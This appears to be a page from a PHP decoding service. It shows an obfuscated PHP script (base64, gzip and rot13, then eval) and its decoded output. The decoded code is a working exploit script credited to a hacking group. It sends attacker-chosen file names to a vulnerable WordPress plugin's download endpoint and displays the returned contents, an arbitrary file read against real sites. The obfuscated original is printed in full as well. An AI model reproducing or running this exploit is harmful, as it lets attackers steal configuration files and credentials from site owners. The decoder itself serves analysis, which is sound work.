Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $WmdaKADJGgaja="hZJrb9owFIa/I/EfvKgigUEulNArqwgKaauNgUFoME0o9hzTsKXhBKyGbf99dijqqlW..

Decoded Output download

/**

DM | D-MASTERPIECE
Author Script Exploiter : www.facebook.com/PeZeEf
FB Group : www.facebook.com/groups/D.MASTERPIECE
Release Script Date : 21 / 01 /2015
Release Script View :  https://m.facebook.com/groups/192316047565078?view=permalink&id=609653452498000&_rdr

**/

if(isset($_GET['url']) && !empty($_GET['url'])){
$url = $_GET['url'];
$file = $_GET['file'];
$fp = fopen("cookie.txt", "w+");
$Cookie = realpath('cookie.txt');
$request = "?target=$file&info=$file";
$web = $url."/wp-content/plugins/cip4-folder-download-widget/cip4-download.php".$request;
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,"$web");
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0');
curl_setopt($curl,CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_COOKIEFILE, "$Cookie");
curl_setopt($curl,CURLOPT_TIMEOUT,5);
$gweb = curl_exec($curl);
echo '<textarea rows="30" cols="50">'.htmlentities($gweb).'</textarea>';
}

Did this file decode correctly?

Original Code

<?php
$WmdaKADJGgaja="hZJrb9owFIa/I/EfvKgigUEulNArqwgKaauNgUFoME0o9hzTsKXhBKyGbf99dijqqlWtFPnynudcfHKsWq1cKpdGc/QbjRrzQT/Afm+Kh7hcGiz5ljDUT5mgHOEVzYngwNA5iuPYzJIU7gl5MFOys3rwCXBWLo0/owkjS/oSs1GGyBqZz5L4kEMSwSHLKOEgnZsOspAtl6btuP9BNwJiCaEt5zQ6t6zdi4mcs+ax07ZbJ27btU9Or+6kV4cC2yW5CB8qYt1p22dt97jlNltnp7ZtVxZszVQzajVLbSIzRBQBN44WExx81Zcs179VUaWC3sGO8h/P9eqvculIHlEH/atfSDUTOTzJ6vaoU6lmhEJoaKmsXoDJV1yrIy1+r1UVMSxUSTFIcprwraE/gXqBMPi+hIhLRrviCdsA7xQJKyLMyP6oKS6Ge1WDLMrUrJg2UhJyCLlF8+VGhJGVCtpqZCRfA2usSRzmJFk3YrGWAfe2g2jSLdXMQ14VOpVBO2pZiFBwQ5VV3GTvCJXtU5f68Nqfeb1g4ePg2u8G/qDbH2O/7rxOy62uqdq1N7g+9gcT3A3q+pz8FHmeWK5pI+NWhLLuCHUD5JrOBWJ3586paVfRBNIHosbLlp+DxoJBRlaWMuqvp+r3Z4sb7E/HH3tYPgBlSR7B6y5jbzbzbmfecBBMve5bbx563pcpHk9nWE7C4wi88fxgOsfedVB3i5HY7P91gcMK0j2sTJBuCdIvOazkqECCmOxNRzu2NZSSXJ5cW/ugm1u+y+VoCC4gMopoVVO/tA5eH3QZ6c9f"; eval(str_rot13(gzinflate(base64_decode($WmdaKADJGgaja)))); ?>

Function Calls

gzinflate 1
str_rot13 1
base64_decode 1

Variables

$WmdaKADJGgaja hZJrb9owFIa/I/EfvKgigUEulNArqwgKaauNgUFoME0o9hzTsKXhBKyGbf99..

Stats

MD5 f133a2deaa7c04e75b6bdc48827d5113
Eval Count 1
Decode Time 154 ms